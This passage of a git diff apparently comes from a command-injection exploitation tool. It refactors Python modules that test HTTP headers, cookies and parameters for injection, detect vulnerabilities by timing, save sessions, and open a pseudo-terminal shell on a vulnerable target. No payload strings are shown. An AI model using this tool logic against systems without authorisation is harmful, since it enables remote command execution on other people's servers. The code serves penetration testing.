injection_proccess(url, check_parameter, http_request_method, filename, time warn_msg += settings.CHECKING_PARAMETER warn_msg += " does not seem to be injectable." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + else: + if settings.LOAD_SESSION: + checks.quit(filename, url, _ = False) if not settings.CHECK_BOTH_OS: break """ -Inject HTTP headers (User-agent / Referer / Host) (if level > 2). +Perform checks over custom HTTP Headers parameters. +""" +def custom_headers_checks(url, http_request_method, filename, timesec): + # # Disable Cookie Injection + # settings.COOKIE_INJECTION = None + + for name in range(len(settings.CUSTOM_HEADERS_NAMES)): + if settings.ASTERISK_MARKER in settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_HEADER_INJECTION = False + else: + settings.CUSTOM_HEADER_INJECTION = True + settings.CUSTOM_HEADER_NAME = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[0] + settings.HTTP_HEADER = check_parameter = header_name = settings.CUSTOM_HEADER_NAME.lower() + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(check_parameter) if check_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.CUSTOM_HEADER_INJECTION = False + settings.CUSTOM_HEADERS_NAMES[name] = checks.remove_tags(settings.CUSTOM_HEADERS_NAMES[name]) + settings.CUSTOM_HEADER_INJECTION = False + +""" +Inject HTTP headers parameters (User-agent / Referer / Host). """ def http_headers_injection(url, http_request_method, filename, timesec): - # Disable Cookie Injection - settings.COOKIE_INJECTION = None def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent - if not menu.options.shellshock: - menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HTTP_HEADER = check_parameter = header_name = settings.USER_AGENT.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): settings.USER_AGENT_INJECTION = None menu.options.agent = user_agent def referer_injection(url, http_request_method, filename, timesec): referer = menu.options.referer - if not menu.options.shellshock: - if menu.options.referer is None: - menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) - menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.REFERER - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.REFERER_INJECTION = False - menu.options.agent = referer + settings.HTTP_HEADER = check_parameter = header_name = settings.REFERER.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.REFERER_INJECTION = None + menu.options.referer = referer def host_injection(url, http_request_method, filename, timesec): host = menu.options.host - if menu.options.host is None: - menu.options.host = _urllib.parse.urlparse(url).netloc - menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.HOST - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.HOST_INJECTION = False + settings.HTTP_HEADER = check_parameter = header_name = settings.HOST.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name and not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HOST_INJECTION = None menu.options.host = host if not any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)) and \ @@ -450,26 +493,34 @@ def host_injection(url, http_request_method, filename, timesec): host_injection(url, http_request_method, filename, timesec) """ -Check for stored injections on User-agent / Referer headers (if level > 2). +Inject Cookie parameters """ -def stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec): +def cookie_injection(url, http_request_method, filename, timesec): + if not menu.options.cookie: + check_parameter = settings.COOKIE.lower() + check_for_stored_sessions(url, check_parameter, http_request_method) - for check_parameter in settings.HTTP_HEADERS: - settings.HTTP_HEADER = check_parameter - if check_for_stored_sessions(url, http_request_method): - if check_parameter == settings.REFERER: - menu.options.referer = settings.INJECT_TAG - settings.REFERER_INJECTION = True - elif check_parameter == settings.HOST.lower(): - menu.options.host= settings.INJECT_TAG - settings.HOST_INJECTION = True - else: - menu.options.agent = settings.INJECT_TAG - settings.USER_AGENT_INJECTION = True - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + cookie = menu.options.cookie + if cookie: + settings.COOKIE_INJECTION = True + # Cookie Injection + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + settings.HTTP_HEADER = header_name[1:].lower() + cookie_parameters = parameters.do_cookie_check(menu.options.cookie) + if type(cookie_parameters) is str: + cookie_parameters_list = [] + cookie_parameters_list.append(cookie_parameters) + cookie_parameters = cookie_parameters_list + # Remove whitespaces + cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] + do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) + + if settings.COOKIE_INJECTION: + # Restore cookie value + menu.options.cookie = cookie + # Disable cookie injection + settings.COOKIE_INJECTION = False - if not settings.LOAD_SESSION: - http_headers_injection(url, http_request_method, filename, timesec) """ Perform the injection proccess @@ -487,15 +538,14 @@ def define_check_parameter(found, i, url): menu.options.cookie = found[i] check_parameter = parameters.specify_cookie_parameter(found[i]) return url, check_parameter - + # Check if multiple parameters check_parameters = [] for i in range(0, len(found)): url, check_parameter = define_check_parameter(found, i, url) check_parameters.append(check_parameter) - checks.testable_parameters(url, check_parameters, header_name) - + for i in range(0, len(found)): url, check_parameter = define_check_parameter(found, i, url) if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: @@ -507,8 +557,7 @@ def define_check_parameter(found, i, url): for check_parameter in check_parameters: if settings.TESTABLE_PARAMETERS_LIST.count(check_parameter) != 0: url, check_parameter = define_check_parameter(found, counter, url) - # Check for session file - check_for_stored_sessions(url, http_request_method) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) counter += 1 break @@ -517,46 +566,18 @@ def define_check_parameter(found, i, url): for check_parameter in check_parameters: if settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.count(check_parameter) != 0: url, check_parameter = define_check_parameter(found, counter, url) - # Check for session file - check_for_stored_sessions(url, http_request_method) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) counter += 1 break else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + if not (check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER): + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: - # Check for session file - check_for_stored_sessions(url, http_request_method) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) -""" -Cookie injection -""" -def cookie_injection(url, http_request_method, filename, timesec): - - cookie_value = menu.options.cookie - if cookie_value: - settings.COOKIE_INJECTION = True - # Cookie Injection - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - settings.HTTP_HEADER = header_name[1:].lower() - cookie_parameters = parameters.do_cookie_check(menu.options.cookie) - if type(cookie_parameters) is str: - cookie_parameters_list = [] - cookie_parameters_list.append(cookie_parameters) - cookie_parameters = cookie_parameters_list - # Remove whitespaces - cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] - do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) - - if settings.COOKIE_INJECTION: - # Restore cookie value - menu.options.cookie = cookie_value - # Disable cookie injection - settings.COOKIE_INJECTION = False - """ Check if HTTP Method is GET. """ @@ -595,10 +616,9 @@ def post_request(url, http_request_method, filename, timesec): Perform GET / POST parameters checks """ def data_checks(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = None - settings.HTTP_HEADERS_INJECTION = False settings.CUSTOM_HEADER_INJECTION = False + init_cookie_injection_status() if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: if post_request(url, http_request_method, filename, timesec) is None: if not settings.SKIP_NON_CUSTOM: @@ -629,22 +649,6 @@ def headers_checks(url, http_request_method, filename, timesec): if not settings.SKIP_NON_CUSTOM: http_headers_injection(url, http_request_method, filename, timesec) -""" -Perform checks over custom HTTP Headers parameters. -""" -def custom_headers_checks(url, http_request_method, filename, timesec): - for _ in settings.CUSTOM_HEADERS_NAMES: - if settings.CUSTOM_INJECTION_MARKER_CHAR in _.split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: - settings.CUSTOM_HEADER_INJECTION = False - else: - settings.CUSTOM_HEADER_NAME = _.split(": ")[0] - settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = False - """ Perform checks """ @@ -675,11 +679,10 @@ def perform_checks(url, http_request_method, filename): pass if menu.options.shellshock: - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + settings.INJECTION_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL else: - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True: - menu.options.level = settings.USER_SUPPLIED_LEVEL - check_for_stored_levels(url, http_request_method) + if settings.INJECTION_LEVEL != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL _ = True if settings.CUSTOM_INJECTION_MARKER: @@ -692,7 +695,9 @@ def perform_checks(url, http_request_method, filename): headers_checks(url, http_request_method, filename, timesec) if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: custom_headers_checks(url, http_request_method, filename, timesec) - if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL): + # if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL): + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: + if settings.TESTABLE_PARAMETERS_LIST or len(settings.USER_DEFINED_POST_DATA) != 0 and any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)): checks.process_non_custom() if not settings.SKIP_NON_CUSTOM: @@ -700,10 +705,12 @@ def perform_checks(url, http_request_method, filename): if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: data_checks(url, http_request_method, filename, timesec) if _: - if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and menu.options.level >= settings.COOKIE_INJECTION_LEVEL and menu.options.cookie: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: settings.COOKIE_INJECTION = True cookies_checks(url, http_request_method, filename, timesec) - if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and menu.options.level > settings.COOKIE_INJECTION_LEVEL: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: settings.HTTP_HEADERS_INJECTION = True headers_checks(url, http_request_method, filename, timesec) @@ -736,19 +743,16 @@ def do_check(url, http_request_method, filename): perform_checks(url, http_request_method, filename) # All injection techniques seems to be failed! - if not settings.INJECTION_CHECKER: - if settings.TESTABLE_PARAMETERS and len(settings.CUSTOM_HEADERS_NAMES) == 0 : + if not settings.INJECTION_CHECKER and not settings.LOAD_SESSION: + if settings.NOT_TESTABLE_PARAMETERS: err_msg = "All testable parameters you provided are not present within the given request data." else: - err_msg = "All tested parameters " - if menu.options.level > settings.COOKIE_INJECTION_LEVEL: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg = "All tested parameters do not appear to be injectable." + if settings.INJECTION_LEVEL < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " Try to increase value for '--level' option" err_msg += " if you wish to perform more tests." - if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: - err_msg += " Rerun without providing the option " + if settings.USER_APPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " You can try to rerun without providing the option " if not settings.SKIP_TECHNIQUES : err_msg += "'--technique'." else: diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 70fd769800..c9c2325528 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -48,14 +48,6 @@ def exit_handler(no_result): else : settings.print_data_to_stdout(settings.END_LINE.CR) -""" -Reset tests -""" -def reset_tests(url, timesec, filename, http_request_method, injection_type, technique): - settings.RESET_TESTS = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) - """ Delete previous shells outputs. """ @@ -103,7 +95,7 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, if cmd.lower() == "quit" or cmd.lower() == "exit": if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - raise SystemExit() + checks.quit(filename, url, _ = False) go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break @@ -154,7 +146,7 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, elif gotshell in settings.CHOICE_QUIT: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) - raise SystemExit() + checks.quit(filename, url, _ = False) else: common.invalid_option(gotshell) pass @@ -206,7 +198,8 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads - checks.testing_technique_title(injection_type, technique) + if not settings.LOAD_SESSION: + checks.testing_technique_title(injection_type, technique) prefixes = settings.PREFIXES suffixes = settings.SUFFIXES @@ -223,25 +216,22 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t settings.EXPLOITATION_PHASE = False # If a previous session is available. exec_time_statistic = [] - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): + if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: settings.TIME_BASED_STATE = True elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: settings.TEMPFILE_BASED_STATE = True + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_EXEC_TIME = exec_time settings.FOUND_DIFF = exec_time - timesec - if settings.TEMPFILE_BASED_STATE: - OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + possibly_vulnerable = True except TypeError: checks.error_loading_session_file() - if settings.RESET_TESTS: - reset_tests(url, timesec, filename, http_request_method, injection_type, technique) - if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator @@ -270,7 +260,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) vuln_parameter = "" - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) # Statistical analysis in time responses. exec_time_statistic.append(exec_time) @@ -314,7 +304,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t settings.FOUND_EXEC_TIME = exec_time settings.FOUND_DIFF = exec_time - timesec if false_positive_warning: - time.sleep(1) + time.sleep(timesec) randv1 = random.randrange(0, 4) randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 @@ -390,9 +380,6 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t else: percent = ".. (" + str(float_percent) + "%)" settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise else: percent = ".. (" + str(float_percent) + "%)" break @@ -400,18 +387,16 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t # Yaw, got shellz! # Do some magic tricks! if checks.time_relative_shell(url_time_response, exec_time, timesec): - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): + if (len(TAG) == output_length) and (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == settings.INJECTION_LEVEL): found = True no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=menu.options.level) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + session_handler.import_injection_points(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: OUTPUT_TEXTFILE = "" # Check for any enumeration options. @@ -449,8 +434,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec next_attack_vector = False export_injection_info = False timesec = checks.time_relative_timesec(timesec) - checks.testing_technique_title(injection_type, technique) - + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: try: import html @@ -481,11 +465,12 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec separators = settings.SEPARATORS if not settings.LOAD_SESSION: + checks.testing_technique_title(injection_type, technique) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: url_time_response = 0 tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - + + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) i = 0 total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) for whitespace in settings.WHITESPACES: @@ -498,11 +483,11 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): + if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: settings.FILE_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT if re.findall(settings.DIRECTORY_REGEX,payload): @@ -510,7 +495,6 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.WEB_ROOT = os.path.dirname(filepath) settings.CUSTOM_WEB_ROOT = True tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - session_handler.notification(url, technique, injection_type) elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) else: @@ -518,14 +502,10 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec settings.CLASSIC_STATE = True elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: settings.EVAL_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: checks.error_loading_session_file() - if settings.RESET_TESTS: - reset_tests(url, timesec, filename, http_request_method, injection_type, technique) - if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator @@ -558,7 +538,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec payload = payloads.decision(separator, TAG, randv1, randv2) vuln_parameter = "" - response, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: # Try target page reload (if it is required). if settings.URL_RELOAD: @@ -613,12 +593,12 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.quit(filename, url, _ = False) elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.quit(filename, url, _ = False) except (KeyboardInterrupt, SystemExit): if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: @@ -660,13 +640,12 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if shell: found = True no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=menu.options.level) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + session_handler.import_injection_points(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False cmd = maxlen = "" if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: OUTPUT_TEXTFILE = url_time_response = "" diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index b217f4a38d..3746fd81c6 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -79,7 +79,7 @@ def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitesp else: payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) injection_check = False if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): injection_check = True @@ -130,7 +130,7 @@ def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitesp payload = payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: payload = payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) injection_check = False if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): injection_check = True @@ -203,7 +203,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques _ = cmd.split(settings.COMMENT)[0].strip() debug_msg = "Executing the '" + _ + "' command. " settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - response, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) return response response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) @@ -270,7 +270,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese else: payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): found_chars = True break @@ -301,7 +301,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese payload = payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: payload = payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) - exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): output.append(ascii_char) is_valid = True diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 412436fdf1..693b67a686 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -61,6 +61,7 @@ def invalid_data(request): if menu.options.requestfile: info_msg = "Parsing HTTP request " request_file = menu.options.requestfile + elif menu.options.logfile: info_msg = "Parsing target " request_file = menu.options.logfile diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 81591e7060..fc15dc13d7 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -50,7 +50,7 @@ def check_established_connection(): def 